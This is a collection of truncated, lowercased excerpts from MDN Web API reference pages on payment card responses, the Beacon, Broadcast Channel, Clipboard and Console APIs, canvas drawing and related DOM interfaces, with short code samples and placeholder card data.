ngaddress property of the basiccardresponse dictionary contains the billing address of the card used to make the payment. syntax "billingaddress" : paymentaddress value a paymentaddress object representing the billing address of the card. example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside t...
... : 'mr. dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc. billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'billingaddress' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbillingaddresschrome ...
BasicCardResponse.cardNumber - Web APIs
the cardnumber property of the basiccardresponse dictionary contains the number of the card used to make the payment. syntax "cardnumber" : "number" value a domstring representing the credit card number. example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumen...
...ame' : 'mr. dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc. billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardnumber' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardnumberchrome ...
BasicCardResponse.cardSecurityCode - Web APIs
the cardsecuritycode property of the basiccardresponse dictionary contains the security code of the card used to make the payment. syntax "cardsecuritycode" : "number" value a domstring representing the card security code. example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled...
... 'mr. dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc. billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardsecuritycode' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardsecuritycodechrome ...
BasicCardResponse.cardholderName - Web APIs
the cardnumber property of the basiccardresponse dictionary contains the cardholder name of the card used to make the payment. syntax name = basiccardresponse.cardholdername; value a domstring indicating the name of the cardholder. example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the ...
... : 'mr. dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc. billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardholdername' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardholdernamechrome ...
BasicCardResponse.expiryMonth - Web APIs
property of the basiccardresponse dictionary contains the expiry month of the card used to make the payment. syntax "expirymonth" : "number" value a domstring representing the card expiry month as a two-digit number in the range 01 to 12. example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside t...
...me' : 'mr. dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc. billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'expirymonth' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpirymonthchrome ...
BasicCardResponse.expiryYear - Web APIs
operty of the basiccardresponse dictionary contains the expiry year of the card used to make the payment. syntax "expiryyear" : "number" value a domstring representing the card expiry year as a four-digit number in the range 0000 to 9999. example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside t...
...ame' : 'mr. dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc. billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'expiryyear' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpiryyearchrome ...
BasicCardResponse - Web APIs
t: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here. // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. }) .catch(function(err) { // do something with the error from request.show(). }); } catch (e) { // catch any other errors. } once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object avai...
...'mr. dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc. billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'basiccardresponse' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbasiccardresponsechrome...
Using the Beacon API - Web APIs
nous and non-blocking request to a web server. beacon requests use http post and do not require a response. beacon requests are guaranteed to be initiated before the page unloads. this document contains examples of the beacon interfaces. see beacon api for an overview. navigator.sendbeacon() the beacon api's navigator.sendbeacon() method sends a beacon request to the server in the global browsing context. the method takes two arguments: the url and the data to send. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns true and returns false otherwise. the following example specifies a handler for the load and beforeunload events. the handler calls sendbeacon(...
..."success" : "fail"); } else { postmessage("worker: self.navigator.sendbeacon is unsupported"); } } see also beacon api (overview) beacon standard beacon ca...
BluetoothRemoteGATTDescriptor - Web APIs
characteristic configuration descriptor. bluetoothremotegattdescriptor.valueread only returns the currently cached descriptor value. this value gets updated when the value of the descriptor is read. methods bluetoothremotegattdescriptor.readvalue() returns a promise that resolves to an arraybuffer holding a duplicate of the value property if it is available and supported. ...
...perty if it is available and supported. otherwise it throws an error. bluetoothremotegattdescriptor.writevalue() sets the value property to the bytes contained in an arraybuffer and returns a promise. specifications specification status comment web bluetooththe definition of 'bluetoothremotegattdescriptor' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothremotegattdescr...
Broadcast Channel API - Web APIs
note: this feature is available in web workers. by creating a broadcastchannel object, you can receive any messages that are posted to it. you don't have to maintain a reference to the frames or workers you wish to communicate with: they can “subscribe” to a particular channel by constructing their own broadcastchannel with the same name, and have bi-directional communication between all of them. broadcast channel interface creating or joining a channel a client joins a broadcast channel by creating a broadcastchannel object. ...
...ect. this disconnects the object from the underlying channel, allowing garbage collection. // disconnect the channel bc.close(); conclusion the broadcast channel api's self-contained interface allows cross-context communication. it can be used to detect user actions in other tabs within a same origin, like when the user logs in or out. the messaging protocol is not defined and the different browsing contexts need to implement it themselves; there is no negotiation nor requirement from the specification. specifications specification status comment html living standardthe definition of 'the broadcast channel api' in that specification. living standard initial definition. ...
CSSOMString - Web APIs
cssomstring is used to denote string data in cssom specifications and can refer to either domstring or usvstring. when a specification says cssomstring, it depends on the browser vendors to choose whether to use domstring or usvstring. while browser implementations that use utf-8 internally to represent strings in memory can use usvstring when the specification says cssomstring, implementations that already represent strings as 16-bit sequences might choose to use domstring instead. ...
...ication says cssomstring, it depends on the browser vendors to choose whether to use domstring or usvstring. while browser implementations that use utf-8 internally to represent strings in memory can use usvstring when the specification says cssomstring, implementations that already represent strings as 16-bit sequences might choose to use domstring instead. implementation differences browser domstring or usvstring for cssomstring firefox (gecko) usvstring chrome (blink) usvstring safari (webkit) usvstring edge (edgehtml) - opera (blink) usvstring specifications specification status comment css object model (cssom)the definition of 'cssomstring' in that specification. working draft ...
CSSStyleRule.selectorText - Web APIs
syntax string = cssrule.selectortext example // for cssrule: body { background-color: darkblue; } var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].selectortext); // body notes the implementation may have stripped out insignificant whitespace while parsing the selector. if set to a selector string which cannot be parsed, a syntaxerror is thrown. ...
...selectortext); // body notes the implementation may have stripped out insignificant whitespace while parsing the selector. if set to a selector string which cannot be parsed, a syntaxerror is thrown. specifications specification status comment css object model (cssom)the definition of 'cssstylerule.selectortext' in that specification. working draft browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetselectortextchrome ...
CSSStyleSheet - Web APIs
ds a new rule to the stylesheet given the selector to which the style applies and the style block to apply to the matching elements. this differs from insertrule(), which simply takes the textual representation of the entire rule as a single string. removerule() functionally identical to deleterule(); removes the rule at the specified index from the stylesheet's rule list. notes in some browsers, if a stylesheet is loaded from a different domain, accessing cssrules results in securityerror. a stylesheet is associated with at most one document, which it applies to (unless disabled). a list of cssstylesheet objects for a given document can be obtained using the document.stylesheets property. a specific style sheet can also be accessed from its owner object (node or cssimportrule), if a...
...sociated with at most one document, which it applies to (unless disabled). a list of cssstylesheet objects for a given document can be obtained using the document.stylesheets property. a specific style sheet can also be accessed from its owner object (node or cssimportrule), if any. a cssstylesheet object is created and inserted into the document's document.stylesheets list automatically by the browser, when a stylesheet is loaded for a document. as the stylesheet list cannot be modified directly, there's no useful way to create a new cssstylesheet object manually (although constructable stylesheet objects is coming to the web platform soon and is already supported in blink). to create a new stylesheet, insert a <style> or <link> element into the document. a (possibly incomplete) list of way...
Managing screen orientation - Web APIs
a screen always has one. and if a device is able to know its orientation, it's good to have the ability to control the screen orientation in order to preserve or adapt the interface of a web application. there are several ways to handle screen orientation, both with css and javascript. the first is the orientation media query. this lets content adjust its layout using css, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width). the second way is the javascript screen orientation api that can be used to get the current orientation of the screen itself and eventually lock it. adjusting layout based on the orientation one of the most common cases for orientation changes is when you want ...
... locking the screen orientation warning: this api is experimental and currently available on firefox os and firefox for android with a moz prefix, and for internet explorer on windows 8.1 and above with a ms prefix. some devices (mainly mobile devices) can dynamically change the orientation of the screen based on their own orientation,...
Using the CSS Painting API - Web APIs
n like we would any other <image> type, using the same string identifier we used in the paintworklet's registerpaint() function. .fancy { background-image: paint(headerhighlight); } putting it together we can then add the fancy class to any element on the page to add a yellow box as a background: <h1 class="fancy">my cool header</h1> the following example will look like the image above in browsers supporting the css painting api. while you can't play with the worklet's script, you can alter the background-size and background-position to change the size and location of the background image. paintsize in the example above, we created a 20x200 unit box, painted 15 units from the top of the element it is the same regardless of the size of the element. if the text is small, the yellow...
...sspaint/intro/02parttwo/header-highlight.js'); .fancy { background-image: paint(headerhighlight); } .half { width: 50%; } <h1 class="fancy">largest header</h1> <h6 class="fancy">smallest header</h6> <h3 class="fancy half">50% width header</h3> while you can't play with the worklet's script, you can alter the element's font-size and width to change the size of the background image. in browsers that support the css paint api, the example below should appear like the image above. custom properties in addition to accessing the size of the element, the worklet can also have access to css custom properties and regular css properties. registerpaint('csspaintfunctionname', class { static get inputproperties() { return ['propertyname1', '--custompropertyname2']; } static get ...
Using the CSS Typed Object Model - Web APIs
const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode(val)); styleslist.appendchild(cssvalue); } the computedstylemap() method returns a stylepropertymapreadonly object containing the size property, which indicates how many properties are in the map. we iterate through the style map, creating a <dt> and <dd> for each property and value respectively. in browsers that support computedstylemap(), you'll see a list of all the css properties and values. in other browsers, you'll just see a link. did you realize how many default css properties a link had? update the javascript on line 2 to select the <p> rather than the <a>. you'll notice a difference in the margin-top and margin-bottom default computed values. .get() method / custom properties let's...
...ld(document.createtextnode( propval )); row.appendchild( cssvalue ); // and the type of unit const cssunit = document.createelement( 'td' ); cssunit.appendchild( document.createtextnode( allcomputedstyles.get( ofinterest[i] ).unit )); row.appendchild( cssunit ); //add the row to the table stylestable.appendchild( row ); } for those of you using a non-supporting browser, the above output should looks something like this: property value unit padding-top 0 px margin-bottom 16 px font-size 16 px font-stretch 100 percent animation-duration 0 s animation-iteration-count 1 number width auto undefined height auto undefined ...
Cache.match() - Web APIs
Web › API › Cache › match
h() is basically identical to cache.matchall(), except that rather than resolving with an array of all matching responses, it resolves with the first matching response only (that is, response[0]). examples this example is taken from the custom offline page example (live demo). it uses a cache to supply selected data when a request fails. a catch() clause is triggered when the call to fetch() throws an exception. inside the catch() clause, match() is used to return the correct response. in this example, only html documents retrieved with the get http verb will be cached. if our if() condition is false, then this fetch handler won't intercept the request. if there are any other fetch handlers registered, they will get a chance to call event.respondwith(). if no fetch handlers call event.resp...
...() is used to return the correct response. in this example, only html documents retrieved with the get http verb will be cached. if our if() condition is false, then this fetch handler won't intercept the request. if there are any other fetch handlers registered, they will get a chance to call event.respondwith(). if no fetch handlers call event.respondwith(), the request will be handled by the browser as if there were no service worker involvement. if fetch() returns a valid http response with an response code in the 4xx or 5xx range, the catch() will not be called. self.addeventlistener('fetch', function(event) { // we only want to call event.respondwith() if this is a get request for an html document. if (event.request.method === 'get' && event.request.headers.get('accept').ind...
CanvasRenderingContext2D.addHitRegion() - Web APIs
100, 100, 75, 0, 2 * math.pi); ctx.linewidth = 5; ctx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi); ctx.arc(130, 80, 10, 0, 2 * math.pi); ctx.fill(); ctx.addhitregion({id: "eyes"}); // mouth ctx.beginpath(); ctx.arc(100, 110, 50, 0, math.pi); ctx.stroke(); edit the code below to see your changes update live in the canvas. ...
...tx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi); ctx.arc(130, 80, 10, 0, 2 * math.pi); ctx.fill(); ctx.addhitregion({id: "eyes"}); // mouth ctx.beginpath(); ctx.arc(100, 110, 50, 0, math.pi); ctx.stroke(); edit the code below to see your changes update live in the canvas. ...
CanvasRenderingContext2D.drawWindow() - Web APIs
w. h the height of the window. bgcolor a domstring that specifies the color the canvas is filled with before the window is rendered into it. this color may be transparent/translucent. it is given as a css color string (for example, rgb() or rgba()). notes: if "rgba(0,0,0,0)" is used for the background color, the drawing will be transparent wherever the window is transparent. top-level browsed documents are usually not transparent because the user's background-color preference is applied, but iframes are transparent if the page doesn't set a background. if an opaque color is used for the background color, rendering will be faster because we won't have to compute the window's transparency. flags optional used to better control the drawwindow call. flags can be ored together. ...
...e current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. by specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower). it is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background. with this method, it is possible to fill a hidden iframe with arbitrary content (e.g., css-styled html text, or svg) and draw it into a canvas. it will be scaled, rotated and so on according to the current transformation. ted mielczarek's tab preview extension uses this technique in chro...
Drawing shapes with canvas - Web APIs
rc is drawn clockwise. note: angles in the arc function are measured in radians, not degrees. to convert degrees to radians you can use the following javascript expression: radians = (math.pi/180)*degrees. the following example is a little more complex than the ones we've seen above. it draws 12 different arcs all with different angles and fills. the two for loops are for looping through the rows and columns of arcs. for each arc, we start a new path by calling beginpath(). in the code, each of the parameters for the arc is in a variable for clarity, but you wouldn't necessarily do that in real life. the x and y coordinates should be clear enough. radius and startangle are fixed. the endangle starts at 180 degrees (half a circle) in the first column and is increased by steps of 90 degree...
...l, later in this tutorial. here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then back again. path2d objects as we have seen in the last example, there can be a series of paths and drawing commands to draw objects onto your canvas. to simplify the code and to improve performance, the path2d object, available in recent versions of browsers, lets you cache or record these drawing commands. you are able to play back your paths quickly. let's see how we can construct a path2d object: path2d() the path2d() constructor returns a newly instantiated path2d object, optionally with another path as an argument (creates a copy), or optionally with a string consisting of svg path data. new path2d(); // empty path object new path2...
Hit regions and accessibility - Web APIs
on its own is just a bitmap and does not provide information about any drawn objects. canvas content is not exposed to accessibility tools like semantic html is. in general, you should avoid using canvas in an accessible website or app. the following guidelines can help to make it more accessible. fallback content the content inside the <canvas> ... </canvas> tags can be used as a fallback for browsers which don't support canvas rendering. it's also very useful for assistive technology users (like screen readers) which can read and interpret the sub dom in it. a good example at html5accessibility.com demonstrates how this can be done: <canvas> <h2>shapes</h2> <p>a rectangle with a black border. in the background is a pink circle. partially overlaying the <a href="http://en.wikiped...
...in a particular area on the canvas, is a common problem to solve. the hit region api allows you to define an area of your canvas and provides another possibility to expose interactive content on a canvas to accessibility tools. it allows you to make hit detection easier and lets you route events to dom elements. the api has the following three methods (which are still experimental in current web browsers; check the browser compatibility tables). canvasrenderingcontext2d.addhitregion() adds a hit region to the canvas. canvasrenderingcontext2d.removehitregion() removes the hit region with the specified id from the canvas. canvasrenderingcontext2d.clearhitregions() removes all hit regions from the canvas. you can add a hit region to your path and check for the mouseevent.region pr...
Optimizing canvas - Web APIs
ment.createelement('canvas'); mycanvas.offscreencanvas.width = mycanvas.width; mycanvas.offscreencanvas.height = mycanvas.height; mycanvas.getcontext('2d').drawimage(mycanvas.offscreencanvas, 0, 0); avoid floating-point coordinates and use integers instead sub-pixel rendering occurs when you render objects on a canvas without whole values. ctx.drawimage(myimage, 0.3, 0.5); this forces the browser to do extra calculations to create the anti-aliasing effect. to avoid this, make sure to round all co-ordinates used in calls to drawimage() using math.floor(), for example. don’t scale images in drawimage cache various sizes of your images on an offscreen canvas when loading as opposed to constantly scaling them in drawimage(). use multiple layered canvases for complex scenes in your app...
...caletocover = math.max(scalex, scaley); stage.style.transformorigin = '0 0'; //scale from top left stage.style.transform = 'scale(' + scaletofit + ')'; turn off transparency if your application uses canvas and doesn’t need a transparent backdrop, set the alpha option to false when creating a drawing context with htmlcanvaselement.getcontext(). this information can be used internally by the browser to optimize rendering. var ctx = canvas.getcontext('2d', { alpha: false }); more tips batch canvas calls together. for example, draw a polyline instead of multiple separate lines. avoid unnecessary canvas state changes. render screen differences only, not the whole new state. avoid the shadowblur property whenever possible. avoid text rendering whenever possible. try different ways to...
Clients.openWindow() - Web APIs
as of recently, this also works on chrome for windows. ...
...as of recently, this also works on chrome for windows. ...
Clipboard - Web APIs
Web › API › Clipboard
ed to implement cut, copy, and paste features within a web application. the system clipboard is exposed through the global navigator.clipboard property. calls to the methods of the clipboard object will not succeed if the user hasn't granted the needed permissions using the permissions api and the "clipboard-read" or "clipboard-write" permission as appropriate. note: in reality, at this time browser requirements for access to the clipboard vary significantly. please see the section clipboard availability for details. all of the clipboard api methods operate asynchronously; they return a promise which is resolved once the clipboard access has been completed. the promise is rejected if clipboard access is denied. the clipboard is a data buffer that is used for short-term, data storage an...
...s arbitrary data to the system clipboard. this asynchronous operation signals that it's finished by resolving the returned promise. writetext() writes text to the system clipboard, returning a promise which is resolved once the text is fully copied into the clipboard. clipboard availability the asynchronous clipboard api is a relatively recent addition, and the process of implementing it in browsers is not yet complete. due to both potential security concerns and technical complexities, the process of integrating this api is happening gradually in most browsers. for example, firefox does not yet support the "clipboard-read" and "clipboard-write" permissions, so access to the methods that access and change the contents of the clipboard are restricted in other ways. for webextensions, you...
ClipboardItem() - Web APIs
syntax var clipboarditem = new clipboarditem(clipboarditemdata); parameters clipboarditemdata an object with the mime type as the key and blob as the value. ...
... syntax var clipboarditem = new clipboarditem(clipboarditemdata); parameters clipboarditemdata an object with the mime type as the key and blob as the value. ...
Console API - Web APIs
the console api provides functionality to allow developers to perform debugging tasks, such as logging messages or the values of variables at set points in your code, or timing how long an operation takes to complete. concepts and usage the console api started as a largely proprietary api, with different browsers implementing it, albeit it in inconsistent ways. the console api spec was created to define consistent behavior, and all modern browsers eventually settled on implementing this behavior — although some implementations still have their own additional proprietary functions. find out about these at: google chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in w...
...functions. find out about these at: google chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in workers; accessible using just console — contains many methods that you can call to perform rudimentary debugging tasks, generally focused around logging various values to the browser's web console. by far the most commonly-used method is console.log, which is used to log the current value contained inside a specific variable. interfaces console provides rudimentary debugging functionality, including logging, stack traces, timers, and counters. examples let mystring = 'hello world'; // output "hello world" to the console console.log(mystring) see the console refer...
CrashReportBody - Web APIs
unresponsive: the page was killed due to being unresponsive. ...
... unresponsive: the page was killed due to being unresponsive. examples crash reports are generally only retrievable via endpoints set up using the report-to header. ...
CustomEvent - Web APIs
introduced by internet explorer and eventually adopted into the dom specification in order to ensure existing sites continue to work. ideally, you should try to use event.preventdefault() and event.defaultprevented instead, but you can use returnvalue if you choose to do so. event.srcelement a non-standard alias (from old versions of microsoft internet explorer) for event.target. some other browsers are starting to support it for web compatibility purposes. event.target read only a reference to the target to which the event was originally dispatched. event.timestamp read only the time at which the event was created (in milliseconds). by specification, this value is time since epoch—but in reality, browsers' definitions vary. in addition, work is underway to change this to be a dom...
... obsolete properties event.scoped read only obsolete; use composed instead. ...
DOMTokenList.forEach() - Web APIs
n>'s node.textcontent inside the foreach() inner function. ...
...tokenlist.prototype.foreach = function (callback, thisarg) { thisarg = thisarg || window; for (var i = 0; i < this.length; i++) { callback.call(thisarg, this[i], i, this); } }; } specifications specification status comment domthe definition of 'foreach() (as iterable<node>)' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeachchrome ...
Detecting device orientation - Web APIs
ice around the x axis, represented in degrees with values ranging from -180 to 180. this represents a front to back motion of the device. the deviceorientationevent.gamma value represents the motion of the device around the y axis, represented in degrees with values ranging from -90 to 90. this represents a left to right motion of the device. orientation example this example will work on any browser supporting the deviceorientation event and running on a device able to detect its orientation. so let's imagine a ball in a garden: <div class="garden"> <div class="ball"></div> </div> <pre class="output"></pre> this garden is 200 pixel wide (yes, it's a tiny one), and the ball is in the center: .garden { position: relative; width : 200px; height: 200px; border: 5px solid #ccc; ...
... warning: chrome and firefox do not handle the angles the same way, so on some axes the direction are reversed. processing motion events motion events are handled the same way as the orientation events except that they have their own event's name: devicemotion window.addeventlistener("devicemotion", handlemotion, true); what's really changed are the information provided within the d...
DisplayMediaStreamConstraints.video - Web APIs
as part of the displaymediastreamconstraints object's video property when using getdisplaymedia() to obtain a stream for screen sharing. cursor a constraindomstring which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. the value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor. always the mouse is always visible in the video content of the {domxref("mediastream"), unless the mouse has moved outside the area of the content. motion the mouse cursor is always included in the video if it's moving, and for a short time after it stops moving. never the mouse cursor is never included in the shared video. ...
...is never included in the shared video. displaysurface a constraindomstring which specifies the types of display surface that may be selected by the user. this may be a single one of the following strings, or a list of them to allow multiple source surfaces: application the stream contains all of the windows of the application chosen by the user rendered into the one video track. browser the stream contains the contents of a single browser tab selected by the user. monitor the stream's video track contains the entire contents of one or more of the user's screens. window the stream contains a single window selected by the user for sharing. logicalsurface a constrainboolean value which may contain a single boolean value or a set of them, indicating whether or not ...
Document.evaluate() - Web APIs
Web › API › Document › evaluate
if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed. specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'document.evaluate' in that specification. recommendation initial specification browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetevaluatechrome ...
...t 4.2samsung internet android full support 1.0legend full support full support no support no support see also document.createexpression() xpathresult xpath code snippets check for browser support ...
Document.ononline - Web APIs
Web › API › Document › ononline
the online and offline events are fired when the value of this attribute changes. it is important to note that this event and attribute are inherently unreliable. a computer can be connected to a network without having internet access. ...
...the online and offline events are fired when the value of this attribute changes. it is important to note that this event and attribute are inherently unreliable. a computer can be connected to a network without having internet access. ...
DocumentOrShadowRoot.activeElement - Web APIs
es. other times the focused element might be a <select> element (menu) or an <input> element, of type "button", "checkbox", or "radio". typically a user can press the tab key to move the focus around the page among focusable elements, and use the space bar to activate one (that is, to press a button or toggle a radio button). which elements are focusable varies depending on the platform and the browser's current configuration. for example, on macos systems, elements that aren't text input elements are not typically focusable by default. note: focus (which element is receiving user input events) is not the same thing as selection (the currently highlighted part of the document). you can get the current selection using window.getselection(). syntax element = documentorshadowroot.activeelem...
...n (the currently highlighted part of the document). you can get the current selection using window.getselection(). syntax element = documentorshadowroot.activeelement value the element which currently has focus, <body> or null if there is no focused element. example html <p>select some text from one of the text areas below:</p> <form> <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">this is text area one. lorem ipsum dolor sit amet, consectetur adipiscing elit. donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea> <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">this is text area two. fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus...
Examples of web and XML development using the DOM - Web APIs
t" value="3" /> </p> </form> </body> </html> example 7: displaying event object properties this example uses dom methods to display all the properties of the window.onload event object and their values in a table. it also shows a useful technique of using a for..in loop to iterate over the properties of an object to get their values. the properties of event objects differs greatly between browsers, the whatwg dom standard lists the standard properties, however many browsers have extended these greatly. put the following code into a blank text file and load it into a variety of browsers, you'll be surprised at the different number and names of properties. you might also like to add some elements in the page and call this function from different event handlers. <!doctype html> <html lan...
... i = 0; i < 2; i++) { cell = row.insertcell(-1); text = 'row ' + row.rowindex + ' cell ' + i; cell.appendchild(document.createtextnode(text)); } </script> notes a table's innerhtml property should never be used to modify a table, although you can use it to write an entire table or the content of a cell. if dom core methods document.createelement and node.appendchild are used to create rows and cells, ie requires that they are appended to a tbody element, whereas other browsers will allow appending to a table element (the rows will be added to the last tbody element). there are a number of other convenience methods belonging to the table interface that can be used for creating and modifying tables. ...
Using the W3C DOM Level 1 Core - Web APIs
what is a dom tree? a dom tree is a kind of tree whose nodes represent an html or xml document's contents. each html or xml document has a unique dom tree representation. ...
...ml document has a unique dom tree representation. for example, the following document <html> <head> <title>my document</title> </head> <body> <h1>header</h1> <p>paragraph</p> </body> </html> has a dom tree that looks like this: (note that, although the above tree is similar to the above document's dom tree, it's not identical, as the actual dom tree preserves whitespace.) when a web browser parses an html document, it builds a dom tree and then uses it to display the document. what does the dom level 1 core let me do? the w3c dom level 1 core allows you to change a dom tree in any way you want. this implies the ability to create any html or xml document from scratch, or to change any contents of a given html or xml document. the easiest way for web page authors to edit the dom o...
EffectTiming.easing - Web APIs
fast to slow. equivalent to cubic-bezier(0, 0, 0.58, 1). ease-in-out this rate of change speeds up in the middle. equivalent to cubic-bezier(0.42, 0, 0.58, 1). frames(<integer>) specifies a frames timing function, which breaks the animation down into a number of equal time intervals but also displays the start (0%) and end (100%) states for an equal amount of time to the other intervals. ...
...the first parameter specifies the number of intervals in the function. it must be a positive integer (greater than 0). the second parameter, which is optional, specifies the point at which the change of values occur within the interval. ...
Element.computedStyleMap() - Web APIs
